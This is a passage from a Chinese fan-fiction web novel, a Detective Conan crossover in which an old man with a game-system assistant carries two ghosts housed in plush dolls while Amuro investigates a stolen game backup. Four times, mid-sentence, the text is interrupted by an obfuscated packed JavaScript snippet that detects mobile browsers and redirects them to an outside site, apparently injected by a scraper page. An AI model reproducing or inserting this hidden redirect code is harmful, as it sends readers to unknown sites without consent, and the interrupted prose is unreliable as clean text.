骂到一半,那人堪堪停住,没把后面的话说出来。毕竟这栋楼隔音不好,楼上楼下都能听见他的大声辱骂。 至于话里的砂糖,应该就是黑话。 “我不知道……” “那就去追啊!——”那人骂完,藤次晃就听见了类似于桌子被掀翻的响动,或许那人还踹了同伴一脚,“你们也都给我滚去追啊!” 开门的响动,以及急躁的、代表下楼的脚步声。 证明那屋里的全员都出动了。 藤次晃本来是有点担心那群人上楼的,但是好半天,也没人上来,这才让老爷爷悬着的心稍稍放下。他又等了十分钟,停在楼下的几辆面包车就这样启动。 说来也奇怪,这群人居然完全没考虑到他一个老头走不远。 而在墙后的房间里,不知何时,伊达航的声音消失不见。那个青年鬼混不再说话,也不知道在做些什么,给站在外面的藤次晃留下的只是沉默。 【RZA10088:人,你不看一下自己得到的奖励吗?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803528|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈士奇客服突然跳了出来。 奖励? 什么奖励? 老人只感到疑惑,不过他的记忆力在同年龄人中偶尔还称得上好,就这样记起了刚才的任务提示,确实是有显示一个打了码的东西被当做任务奖励下发了。 【藤次晃:是什么东西?】 【RZA10088:一个需要你努努力的东西。】 【藤次晃:?】 他还没来得及询问更多,下一秒,就感受到自己的外套口袋一边变到沉甸甸的。藤次晃伸手去摸,摸出来的却是两个十厘米的小玩偶,一个长得像钻进去再没出现过的伊达航,那海苔眉毛完全一致;另一个,双眼打着叉的金发女孩子玩偶,估计就是娜塔莉。 他孙女倒是有买过这些娃娃,每天带着娃娃吃饭拍照、旅游拍照,据说是看着高兴。 他没记错的话,那孩子的娃娃、或者叫努努,基本都睁着眼的? 难道说……不可能的吧,他应该是想多了。 藤次晃就这样打算把娃娃揣进兜里,忽略这一点无伤大雅的小问题,然而哈士奇客服很显然没想放过他,狗脸又一次出现在屏幕上,睿智的眼神像是在说“你躲不过的”。 【RZA10088:对的,你没有想错。】 【藤次晃:我想错了。】 【RZA10088:你没有。】 【RZA10088:是的,这个玩偶就是需要你变身手作娘去拆线改缝,必须是你亲自缝才有效果滴滴滴——放心好了有图纸的我们才不会虐待老人让六十多岁的老头缝努努之前还得手搓图纸。】 客服的手速快得让藤次晃产生了错觉,难道这个客服的背后真的是狗吗? 四个爪子打字就是比两只手快哈。 而且退一万步来讲,让一个没接触过缝纫的老年人戴着老花眼镜缝努努的眼睛,这种事真的不算虐老吗? 【RZA10088:不算啊。】 【RZA10088:加油啊,曾经为爱手打一星期织出毛衣的恋爱脑老爷爷!】 藤次晃:…… 藤次晃:? 他内心骤然升起了无数个问题,奈何哈士奇压根不给他询问的机会,又再一次风风火火地退场了。老人看了看手里的娃娃,又看了看泛着淡淡忧伤的天空,一时间被这个操作冲击得有点说不出话来。 你们两个去手牵手谈恋爱吧。 白金色头发的外籍老头叹了口气,左右手各抓一只努努,还没来得及把它俩贴在一起,下一秒,伊达航就把脑袋从门板里探了出来。 “爷爷……” 他话还没说完,整个鬼魂骤然缩成了一团,直直飞入藤次晃手里,准确来说,是藤次晃手里的努努身体里。 并不懂这种操作的老爷爷本人叹为观止。 他看着手里的努努,沉思片刻,最终在他看完的那些早古动画片中找到了合适的形容词。而他说话的时候,眼睛变成蚊香形状的海苔眉毛小努努就这样安详躺在了他的掌心。 “这原来是精灵球啊。” 藤次晃明了,道。 下一秒,他回头看了看紧锁的门。 19.六十二岁、养努 江户川柯南将永远不会忘记这一天。 他与藤次晃分别没多久,就遇见了有事找他的安室透。 “我等了你好久,”深肤色的男人笑眯眯地说着,他身上穿着一身黑的夹克,脑袋上还戴着用来遮掩头发颜色的棒球帽,男人靠在墙上,双手抱胸,“柯南君。” 被这家伙的突然出声吓了一跳的幼年体侦探,在缓过来之后,先是皱起眉,随后才像是记起自己小学生身份一样,露出一个尴尬的、强装的笑容来。江户川柯南干涩地“哈哈哈”了一下,没忍住,后退半步,这才同安室透说话了: “安室哥哥、为什么要等我呢?” “这个问题……” 安室透依旧是微笑的模样:“我觉得柯南君这么聪明的孩子,一定会想明白的吧?” 要是米花町是一种阿卡姆,想来这里的蝙蝠侠、也就是侦探漫画主角也会问了,这个阿卡姆里关着的谜语人怎么会这么多、这么坏啊?成天就是让人猜,难道猜对能拿奖杯吗? 没有啊。 没有那还让人猜? “安室哥哥的话真是让我想不明白,哈哈哈……” 江户川柯南只是这样打马虎眼——虽然他知道面前此人的真实身份是公安,虽然已经能确定对方和他一样有着共同的敌人,但他还是不太愿意分享这种自己辛苦半天得到的情报的。 “关于板仓卓那个游戏软件工程备份的事,”安室透开门见山,道,“我们这里也有东西可以作为交换,柯南君不想要吗?” “……” 戴眼镜的孩子嘴巴张开,又从善如流地闭上。 “而且柯南君已经认出来了吧……说起来,当时还真是吓了我一跳呢,没想到柯南君居然跟着毛利先生还有小兰小姐一起,到那个人家里做客呢。” 这家伙完全是明示了,在松下家见到的那个前田天海岸就是他本人。 “你把那些东西都拿走了。” 柯南说,既然安室透都这样坦白了,他也就不装了,当时没借到的书果然很重要:“安室先生,那些东西没有满足组织和公安的胃口吗?” “很可惜啊。” 这个男人露出了类似于遗憾的表情,他叹了口气,不像故意的——那应该就是故意的。 毕竟长得好看的男人就这样会骗人。 “我们只掌握那份工程文件的解密方法,”穿黑夹克的男人站直了,他的背从墙上离开,“柯南君,如果没有找对门锁,那么我们获得的钥匙就毫无用处;如果找到了门锁,却没有找到钥匙,那么,像你这样年幼的孩子自然也无法进入房间内一探究竟。” “所以呢?” 安室透蹲下来,就这样用自己那双狗一样、看谁都真挚无比的下垂眼看他,道:“告诉我们门锁的位置吧?” ——这就是他们为什么会一起来到这里。 安室透停在公寓楼前,抬头,看了某一层楼许久;江户川柯南则是在观察了周围一圈后,选择爬上了楼梯,往上走。他们两个都不是什么体力差的人……好吧,准确来说,安室透不是,这个体力怪物一口气爬上五楼,脸不红,心不跳,甚至连擦汗也不需要。 江户川柯南一个人双手撑着膝盖,弯腰喘气。 406的房门虽然禁闭着,但门口的地面有刮擦的痕迹,很新,证明在前不久这扇门开合过;江户川柯南还没想出试探屋内有没有人在的办法,就看见安室透不知道从哪里掏出个杯子,再把耳朵往墙上一贴,一分钟不到,收起杯子,笃定地说: “这家没人。” 柯南:? 柯南:…… “这是怎么知道的?”他没忍住,问了。 “没什么,”安室透的夹克有好多口袋,里面装着的都是他的米奇妙妙工具,就比如说他现在从里面掏出了他的开锁工具——某张不记名的什么奇怪卡片,“我以前在这边租过房子,这边的隔音很烂……” 卡片在门缝中稍微一卡,十秒钟,门开了。 这个擅长潜入的男人微笑着补充了:“锁也很烂。” ……实际的情况并非如此,只是过去有几年,他们聚在一起喝酒,清醒的时候伊达航抱怨过他与女友同居公寓的各种缺点,包括但不限于房子不隔音、门锁不安全以及没有电梯,还不能更改房屋设施之类的各种缺点。 这之后,三个人轮番上阵、终于将伊达航这个大块头灌倒,松田送班长回去的时候,抱怨过说在门外了一耳朵甜言蜜语。 甜言蜜语谁说的? 班长说的。 江户川柯南没去探究,在安室透把门打开后,他跟在此人身后进去,企图在这里的满地狼藉中寻找什么。 结果除了目前这任屋主违法犯罪的证据以外,什么都没有找到。 于是,安室透问了:“是找错了吗?” “不会是的,”江户川柯南往人家床底下一探,只看见几个不知道多久之前滚进去的易拉罐瓶子,“在这种事情上出错的话,还怎么样对付那群乌鸦啊?” 屋主回来的时候,恰巧撞见的就是一大一小如房屋主人那样在他们的工作室(如果那真能这么叫的话)淘金。 对此,米花町的侦探们有话要说。 【RZA10088:在我对你说“你好”的时候,你唯一需要回应我的就是一句同样的“你好”,而不是在那里大喊大叫,表情惊恐地看着我,问我“你们是怎么进来我们的房子的”“我记得我们出门的时候明明把门锁了”“你们别过来啊,再过来我们就动手了”,这些话没有任何的意义,而且非常的不礼貌。】 藤次晃左右手各揣着一只努努,一抬头就看见哈士奇发来了如此迷惑的消息。 【藤次晃:你坏了?】 【RZA10088:那没有。】 【RZA10088:我在给那些死不足惜但是蠢得过头、以至于有点好笑的犯人们念旁白。】 爷爷沉思片刻,最终还是回复了。 【藤次晃:没坏就好。】 【藤次晃:给我开个导航。】 【RZA10088:听不懂喵。】 客服的品种不是哈士奇吗,为什么在这种时候反而用起来“喵”充当做说话的尾癖? 藤次晃还没来得及发问,客服又一次消失的无影无踪。天还没黑,路上却没什么人了,他看着周围熟悉又陌生的场景,好半天,也不确定自己能不能回去,正想叹气,下一刻,就感受到外套左边口袋有什么东西在奋力挣扎。 “hello?” 伊达航的声音从他的口袋里传了出来:“娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808925|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔莉?——我的娜塔莉在吗?爷爷?爷爷你在不在?爷爷?” 老年人面无表情地拉开口袋,把越挣扎越往下陷的努努掏了出来。代表晕倒状态的蚊香眼已经消失不见,孩子的大眼和海苔眉毛搭在一起,显得人十分之精神。 “哇哦。” 伊达航感叹了一声:“爷爷你变成巨人了。” “是你变小了,”藤次晃说,其实他也不知道对待这种努努精要怎么做,孙女经常带努努过来,对待它们的态度和对待小猫小狗不一样,心情好的时候大力揉捏,心情不好的时候欧拉一拳也是有的,“你们都变小了。” “我们、哦!娜塔莉!” 伊达抓的重点不太对,他完全不关心自己变成了什么样,只在意自己刚找回来的女朋友。这个脑袋和身子一样大的努努娃娃艰难爬起来,看到自己圆鼓鼓的手时,愣了一下,还是继续问了: “娜塔莉怎么样?” “似乎还没醒。” 老爷爷道,恰巧,这附近是个公园。他找了张椅子,把掌心十厘米的伊达航放下,随后又从另一边的口袋里掏出了同样十厘米的金发努努。还没放下,椅子上的大头娃娃已经抬手来接。 ……什么意思。 宝贝成这样? 此情此景莫名让藤次晃想到当年自己的儿子带着还没成儿媳、只是女友的对象回家的事。每天上树掏鸟窝的泥小子在人家磕到脚的瞬间,速度快得像闪电侠,把手里的东西往他这个中间人手里一塞就冲上去给人呼呼。 最后害得四十多岁的藤次晃闪了腰。 藤次晃就这样把努努版娜塔莉放在了椅子上,不过,令他没想到的是,娜塔莉在落地后,就自己爬了起来。似乎是因为看不见,又被带到一个陌生的地方,这孩子的动作看起来非常慌乱。 伊达航赶忙凑了过去。 然而还是迟了,努努小情侣就这样一个慌乱一个更慌乱地卡进了木椅的缝隙里,从此他们之间这块木板让他们拥有了世界最遥远的距离。 “……她怎么了?” 在藤次晃把他们俩解救出来后,过了片刻,伊达航还是问了。他似乎把身边这个老爷爷当成了解决玄学问题的行家,想要从一直平静的老人口中知道娜塔莉和自己为什么会变成这样的真相。 “她看不见,”藤次晃说,伸手,去把还想要乱跑的娜塔莉按住了,“也听不见——她现在是个mini版的海伦·凯勒。” 在爷爷的掌心中,叉叉眼的小人安分起来。 “有没有什么办法能让她好起来?”伊达航去抓自己女朋友的手,圆圆的棉花手不知道是怎么牵住别人的,总之,他抓住,然后缓慢地上下握手,“……是因为我的错才导致她变成这样的。” “办法啊……” 老爷爷看了他们两个一眼,叹了口气,认命了,反正他这个老年人时间多得是,送佛送到西也不会怎样。织毛衣和缝东西这两样技能或许也是有相通之处的吧。 于是,他道:“我有,但是……” “要我干什么都可以,”伊达航努努露出一个坚毅的表情,他紧紧抓着娜塔莉不松手,“拜托你了,爷爷!” ……谁要你了? 只想说让他等等的藤次晃有点淡淡的迷茫,不过,这不影响他点头。 20.六十二岁、吃狗粮 藤次晃单调的生活就这样闯入了两只努努。 第二天上午,他的新报纸送到,还没出去,就已经被小小身体的伊达航拖了进来。老爷爷有点受宠若惊,他揉了揉伊达航努努的脑袋表示了感谢(如果那真是揉的话),随后才打开报纸看了起来,上面写着的都是些千篇一律的东西,除了…… 某制药团伙被热心侦探举报,一网打尽。 “哇哦,”伊达航也趴在他肩膀上看报纸,他发出感叹,一目十行地看完报纸后,又从他隔壁上划了下去,去找娜塔莉之前,还不忘问一嘴,“什么时候能解决娜塔莉的问题,爷爷?” “等一阵子。” 戴着眼镜看报纸的爷爷道,他昨天夜里,游戏公司赠送了他一堆布料和图纸,为了防止他看不懂,特地还把说明书和教程书跳大字号,连着一起送过来。 看不见也听不见的娜塔莉在沙发上摸索着前进,她能说话,然而声音传入藤次晃耳中,却只是“努努”“努努”的叫声。 只有伊达航能理解她的意思。 “努努!” “娜塔莉在叫我了!”伊达航就这样从藤次晃的腿上跳下去,摔在地上,一个大马趴,“有需要的话爷爷你再喊我!” 可能这就是情侣之间的心有灵犀吧。 刚放下报纸,打算解决桌上的白人早餐时,他的眼前骤然闪过一道白光,只是速度太快,他还以为是自己的错觉。系统在这个时候冒出来,带来一个不知道是好还是坏的消息。 【尊敬的藤次晃用户: 你好! 为丰富游戏体验,增加玩家游玩乐趣,《红黑的恋爱游戏~少女王座登基指南》将进行第一次版本更新,本次版本更新将修复“小学生工作日不上学”“主控角色职业过于多元、背景割裂不明”以及“孩子为什么一直喊主控角色爷爷”等bug。 [新增内容] *组队系统*:当有NPC角色对您发出「友善的」的组队申请时,系统将自动纳入队伍列表,您将「理解」其NPC的所有状态,包括但不限于语言、情绪。 *复生计划*:当有鬼魂类NPC角色加入您的队伍时,将自动接取相关任务,达成任务后可获得鬼魂复生所需材料——进度累积100%时,鬼魂NPC将以全新身份重生。 *换装衣橱*:经检测,您在[福尔摩斯人物滤镜]0.01%的概率中幸运抽中了「詹姆斯·莫里亚蒂」,故赠送您:[高级古着黑大衣]*1、[复古黑西装套装]*1、[矮底礼帽]*1。莫里亚蒂人物滤镜打开时,此套装将一键替换至身上,关闭时将恢复您原先穿着。 [更新消耗] 此次更新消耗「板仓卓的游戏工程备份」*1。】 ……什么时候更新的? 不过这个不是什么关键问题,最关键的地方还是在那个新增内容里,组队系统、这个藤次晃能理解,并且能猜到这和他目前听得懂伊达航说话却听不懂娜塔莉说话有关。 至于复生计划和那个换装衣橱。 前者可能是把死人都变成像这对小情侣一样的努努;后者……呃、美少女战士变身·莫里亚蒂限定款吗? 对高科技和潮流的东西理解无能的爷爷,在看到这种让他大脑当机的公告后,苍老的手一个不稳,就让拿着的叉子落到地上。看着自己不中用的手,藤次晃叹了口气,实在是想不明白,为什么系统会觉得他的手能去给人家缝出一个好眼睛。 “爷爷!” 伊达航努努牵着娜塔莉努努过来了,他兴致冲冲,就像藤次晃那个一谈恋爱就不值钱的儿子,可能这种恋爱脑的孩子都一个样。面对庞然巨物版的老爷爷,努努只是大声地说道:“娜塔莉说她要谢谢你!” “噢噢。” 弯着腰的藤次晃点了点头:“不用谢。” 努努伊达转头就跟娜塔莉上下摇了摇手,一会轻一会重的,像是摩斯密码。两个还没巴掌大的小东西交流需要的时间还挺长,主要是打摩斯密码的时间比较长,在伊达停下来后,娜塔莉又一次发出了“努努”“努努”的叫声。 “她说真的很感谢你把我带过来,”伊达航牌努努翻译机上线了,“也非常感谢你把她带出来,虽然没有办法看见也没有办法听到,但是能碰到东西也真的足够了。” “真的不用谢。” 藤次晃道,让老年人弯腰看着两个小东西这种事对他的腰不太友好,于是,他干脆伸手,把这俩孩子拎到桌上去。 好孩子嘛,就是得大大方方的,上桌吃饭。 放上桌后,藤次晃用手指揉了下娜塔莉努努的脑袋。他不会什么摩斯密码,也就不弄什么亲自回答的流程了。娜塔莉努努的短手想抱住自己的脑袋时,爷爷把手指移开,对伊达航说了: “去玩吧。” “瞧你这话说的,爷爷,”伊达航又牵住了娜塔莉的手,“我们只是进了努努的身体,又不是真的变成小孩了。” 努努情侣们就这样高高兴兴地跑到餐桌的另一侧,去玩摩斯密码的交流游戏。藤次晃将叉子擦干净,吃一口沙拉,再一抬头,就看着这俩玩偶在亲亲热热。 今天这顿早饭不吃也罢。 ………… “名字?” 犯人A、估计叫他相田吧,他坐在审讯室里,没忍住、去舔了自己因为缺水而干裂的嘴唇。他已经不记得这是第几遍被询问了,总之,从被抓进来后,这群人就没让他休息。 “相田,”他用干哑的声音重复道,“相田太郎。” “年龄?” “二十七。” 他渴得实在是有些受不了了,回答完这个,又舔了舔嘴唇,小心翼翼地问道:“能给我杯水吗……” 警员狠狠地用警棍敲了一下桌子,声响之大,让相田太郎的身体瑟缩起来,这个骨瘦嶙峋的年轻人含胸驼背、缩着脖子,胆子同老鼠一样,小得可怜。 “别说和审讯无关的事,”冷面的条子发出了警告,他继续了下去,又问道,“27日下午三点,你在哪?” “目黑区浅野公寓408号……” “你见过谁?” “佐藤次郎、木下三郎,以及丰田浪大……两个外国人和一个小孩,两个外国人都是金发的,”可怜的相田舔了舔干裂的嘴唇,觉得自己的嗓子很疼,他说着那些说过了好几遍的话,“其中一个外国人很老,四十岁……不,五十岁?可能要更老一点;另一个外国人很年轻、二三十岁……” “你们之前说的那个拿走了文件的人,是谁?” “那个老一点的外国人。” 如果藤次晃在这里,就会认出这个可怜的相田太郎是当时被他闪了巴掌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827485|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻人,因为他脸上的伤尚未痊愈——看得出来,伤者本人也没有太认真地处理过,就被公安抓住,审讯到了现在。 “他长什么样?” “他……” 相田太郎犹豫了,因为对亚洲地区的人来说,所有外国人基本都长一个样:“他长得……和克丽丝很像,我是说,那个美国巨星……准确来说,他就长得很外国人……” 警员又狠狠地敲了下桌子,他站起来,警棍似乎是要落到相田的身上一般,随着他的人,朝着被审讯对象靠近了。 相田如乌龟一样,彻底缩起脖子,双眼紧闭开始惊恐地大叫,棍子分明没落到他身上,他却被吓得失了魂,话说出来时已经不需要经过脑子了:“戒指!……那个外国老头手上有戒指!——” 对面的公安人员停了这话,没坐下,继续站着:“接着说,戒指长什么样子?” “灰色的……” 他刚说完就否认了:“不不不,是金属的、可能是银的!上面有花纹、底下很尖……花纹、花纹是蛇!——” 犯人的声音骤然拔高,随后表情变为惊恐,他瞪大双眼,像是在两位公安身后看见了什么令人恐惧的东西一样。他的身体僵硬,头不自然地往后仰,眼睛注视着一点,一动不动。 “……死了。” 风见裕也汇报道。 “什么?”安室透、不,是降谷零,他对着单面镜里的倒影拉好领结,听闻这个消息,他皱起眉来,公安带回来了当时在场的四个人,“哪一个死了?” “都死了,检测结果是因为长时间吸食未提纯的劣质药物导致的急性心力衰竭,系意外。” “有问出什么吗?” “相田太郎那边我们有问出关于取走文件的人的一个线索,他声称此人手上戴着一个银制、有蛇纹的古朴戒指;而在他们的上级丰田浪大那里……我们问出了关于板仓卓游戏备份的事,板仓卓是在三个月前将东西送来给他们保管了,不过用的是假名。” “假名是?” “克赛诺(Xeno)。” 降谷零沉思了片刻,调整领带的手也停在半空不动。风见裕也的内心不禁有些忐忑,老实说,他已经有一个星期没挨骂了,总感觉未来将会有个更可怕的死局等待他。 他犹豫片刻,开口,问了:“降谷先生,您打算怎么做?” “……祸引东流,”降谷零面无表情,看着空空如也的审讯室,道,“四个人都死了,这就证明这件事存在古怪,没准这两条消息是取走文件的人、我们姑且称之为第三方,他们故意透露的。” “在这种情况下,虽然黑衣组织是我们要扳倒的对象,却不可否认,在情报方面有着我们无法比拟的优势——板仓卓和那个取走文件的人必然有所关联,那个女人、我想她听到这个消息会很在意。” “这个意思是……” “让黑衣组织的人先去调查这第三方,”降谷零道,“我们去当黄雀,坐享其成。” 风见裕也不疑有他,只是点头,道: “好的。” 他正想转身,又想起了那条不知道有没有用的消息,脚刚迈出去,收也不是,不收也不是。降谷零瞥了他一眼,用那张完全失去了笑容的池面脸挑眉,问: “还有事?” “……不,不,没有。” 21.六十二岁、出门散步 缝东西这种事,就连藤次晃本人都不知道自己有没有天赋。 在英国、也就是四十多年前,他还是一个富家子弟,需要干的事就是在保持优雅的时候去读书和享受人生,如果衣服掉了纽扣,他大可以让管家去处理,把扣子缝上,或者整套扔了;而来日本后,他穿的衣服档次虽然下去了,但前妻眼光好,所以衣服很少坏,偶尔掉了纽扣,他还没来得及补,隔天早上就发现它已经被缝死了。 他接触过的、与之类似的东西,也就只有针织了。 ……应该差不了多少吧? 六十多岁的爷爷在开始前如此想。 而在开始之后—— “这有点像是在虐待老人了,”藤次晃道,他那双老花眼眯得只剩一条缝,而布料上的针脚歪歪扭扭扭扭曲曲,如果布料能发声的话,或许它现在就会大叫让警察把这个虐待自己的老人抓走,而警察会说你们这是双向虐待、不是,双向奔赴,“为什么玩偶的眼睛不能用热熔胶贴上去,或者缝扣子上去?” 【RZA10088:因为这里不是第五□格。】 ……啊? 【RZA10088:没事的,像爷爷你这种老年人不懂也正常。】 和年轻人真的是聊不进去的爷爷“噢噢”两声,又眯着眼去锻炼自己缝东西的水平。老年人待在自己的房间里,从白天缝到晚上,最终缝出一个圆不像圆、椭圆不像椭圆的绿色眼睛。 ……要是那真的能被称之为眼睛的话。 【RZA10088:接下来这只眼睛的归宿是?】 藤次晃把练废的布料扔进了垃圾桶,准确来说,是一个铁桶。 处理纸片和布料废物的时候,用这个桶就很合适,日本的垃圾分类,体会过的人都知道有多麻烦,因此,更多数时候,爷爷会选择把能烧的都烧了,扒拉扒拉灰烬,确定没有残留后倒进花盆当化肥。 他从桌上拿起来火柴,擦亮它,扔进去,很快,空气中就弥漫起了一股焚烧聚酯纤维时散发的味道。 【RZA10088:我会为它超度的,阿门。】 “爷爷!——” 门外传来了伊达航的叫声,他没有敲门、也可能是因为棉花努努的身体压根敲不响门。总之,这个路边捡的年轻人正在发出担心的叫喊声,问屋里的藤次晃: “没出事吧?——” “没有。” 藤次晃答道,他看着这块布料被烧了个彻底,这才站起来,给垃圾桶盖上盖,再去给伊达努努开门:“怎么了,有事找我?” 伊达努努很诚实,这是他的特点。而在藤次晃眼里,就是十厘米的玩偶站在地上,仰头,真诚地来了一句“没有,我看你太久没出房间,怕你出事”。 “……好孩子。” 老爷爷一时间有些感动。 【RZA10088:毕竟这家的生杀大权掌握在你手里,如果你出事了,娜塔莉·来间就真的要改名海伦·凯勒了。】 闭嘴吧,哈士奇客服,你还是不说话的时候比较顺眼。 “爷爷你在烧东西吗,”伊达努努问道,他吸了吸鼻子,如果努努真的有鼻子的话,“我怎么闻到一股烧塑料的味道?那种东西不应该在家里烧的吧?” “你闻错了。” 藤次晃说,有些布料烧起来确实很有塑料味没错,但它真的不是塑料。 “真的吗?” 伊达努努想要从他的脚边绕过去,到他的房间里一探究竟,然而藤次晃却没给他机会。老爷子过去帮高中生孙子孙女抓过不下百来次越狱的仓鼠,练就的抓鼠绝技尚未遗忘,伊达还没进去,就被抓了起来。 “别乱跑,”爷爷平静地说了,他抓着伊达航往外走,顺手带上了自己的房间门,“有些东西,不让你知道,就不要好奇。” 比如说老爷爷因为懒得理床单,导致上面全是睡出来的褶子的床。 努努的大眼睛看不太出来什么感情,但莫名其妙,藤次晃就是觉得伊达航在思考着什么奇怪东西。只是努努本努不说,他这个老年人也不想去问。 “好的,”伊达努努说,“爷爷。” ………… 我孙子慈。 这个名字听起来完全就是不走心的假名。 伊达航只是失去绝大多数的记忆,并不是失智,当他蹲在马路边上,只需要几眼,就能看出一个路过的人是什么身份,大概有着什么样的性格——他本以为自己死之前是一名侦探,毕竟推理能力摆在那里,然而,他内心中过度的正义感与责任感并不符合这一点。 比起侦探,他更像警察。 好吧,警察的鬼魂就这样每天停留在路灯下,假装自己没死,混到几个吸烟的人堆里去听邻里长短。他看见过不良少年,也看见过通缉犯,甚至在人群中听了某些人肇事逃逸没被抓、洋洋自喜的炫耀话。 而我孙子慈此人…… 面对态度不好的店员,这个老人家并没有生气,甚至是微笑地听从对方的建议,更换掉自己选中了的几样商品;他的日语很好,不带国外口音,不去看他的脸,只会让人觉得他就是东京本土的普通老人。 一个脾气很好、在东京生活多年的普通外籍老人。 这就是伊达航对我孙子慈的初印象,因此,那时的他在听到这人有些奇怪,也没往深处去想,只当做是这个外国人当年在取通用名时不知道谐音梗这种东西。 喊他“我孙子先生”这一称呼时,陷入思考或者发呆中的老人听见再多呼喊,也毫无反应。 喊他“爷爷”时……不管什么情况都有回应。 拜托他帮忙调查娜塔莉的事,比委托侦探调查还要来得迅速,仅仅是半天就得到了情报;出租屋里,只是三言两语,就让犯罪团伙相信了他接头人的身份,将一些或许存放着重要情报的东西给了他…… 自然而然的,伊达航推翻了最开始对他的初印象,这个老年人的身上有太多秘密,他完全无法看透。 ……他应该相信我孙子慈吗? 昨天夜里,伊达航躺在类似于狗窝或者猫窝形状的枕头里、牵着娜塔莉的手,盖着一张手帕,如此想。 他睡不着,想要翻来覆去,又怕惊醒了旁边的娜塔莉。等到后半夜,客厅的窗户透过灰蒙蒙的亮光,外面传来猫和狗走过门口时留下的脚步声,以及一些轻微的、杂七杂八的声音时,伊达航终于认清了现实。 那就是。 他现在只能相信我孙子慈。 因此,当我孙子慈平静地、又带着些威胁意味地说出了那句“不要好奇”,有着这样认知的伊达航决定顺从地放弃自己刚才的好奇,不去深究这个老人家在自己房间里烧了些什么。 ——闻起来像是CD光盘。 被放回娜塔莉身边的伊达航控制不住自己的脑子,如此想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840639|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>………… 藤次晃缝了两天眼睛,他感觉自己的眼睛再不去看看外面的美好世界,就真的要完蛋了。 而他的成果…… 【RZA10088:不错,已经初具雏形了。】 如果把他第一天缝出来的眼睛说成是狗屎不如的东西,那么他第三天缝出来的眼睛简直是奇迹。同一个图纸,同一双手,三天创造出一个含情脉脉的奇迹……好吧,其实是他把眼睛的直线缝成波浪线的了。 【藤次晃:不能凑合着用吗?】 他真的不太想缝了,只想告到中央去,说这个游戏在虐待老人。 【RZA10088:试想一下。】 【RZA10088:你非常疼爱的孙女、哦不,外孙女,被贼人绑架了,瞎了一双眼睛——然后现在,医生给出的方案有两个,要么就塞一对义眼凑合着用,要么就是散尽家财给她安一双好眼睛。】 ……他外孙女吗? 【藤次晃:她一般会选择一只眼睛装义眼,另一只眼睛装好眼睛,毕竟那孩子一般不做选择,真要做选择的话就是全都要。】 【RZA10088:……】 【RZA10088:那你孙女呢?】 【藤次晃:她也一样。】 【RZA10088:总之,缝的不好的眼睛就等于义眼,只有真正缝好了的眼睛,才能让娜塔莉重见光明。】 然而任凭这只哈士奇客服怎么说,藤次晃都不打算再缝下去了。他站起身,将这些剩下的布料收起来,只是在收拾的过程里,他看见了桌子上散落的那些CD光盘。 ……错觉吗? 怎么感觉莫名其妙少了几张? 思考不出一个所以然来的藤次晃就这样轻易地放弃了思考,他推开房门,把桌子上那两个你侬我侬的努努情侣捞进了口袋里,把鞋柜上的钥匙放进了口袋里,随后再给自己带上旧尾戒。 伊达航:? 努努从深不见底的口袋里艰难地探出一个头来,他问道: “你要带我们去哪儿啊,爷爷?” “只是出去走走,”藤次晃穿上了皮鞋,他在玄关处的落地镜全面整理了自己的仪容仪表,随后打开门,走出去,“总是待在家里,邻居会以为我出事了,然后报警,让警察上门来看我死没死。” 伊达努努表示无法理解,毕竟就日本的邻里关系而言,老人在家孤独死才是常事。 一般都是味道臭到一种程度时,邻居们才会报警。 “这么听起来,爷爷你和邻居的关系很好啊。” “那没有。” 并不乐意交际的藤次晃诚实地回答了:“主要是周围的邻居都认识我前妻,我们当时离婚后,她嘱咐邻居们帮她留意一下我死没死……不过,那应该是之前的邻居了,现在的邻居们估计没有被她嘱咐过。” “……呃,”伊达航有点不理解,他还是太年轻了,“不是离婚了吗,为什么要关注爷爷你死没死?” “可能这就是爱吧。” 老人家的幽默总是与众不同一点的:“上次我们两个发消息,她说现在一听到死讯,都要仔细看看上面的名字是不是我——只可惜这种爱太过深沉了,我接受不了。” ……这都是恨了吧。 伊达努努的脸上莫名就是能看出这种意思,他松手,任由自己滑落到口袋底部,然后去牵娜塔莉的手。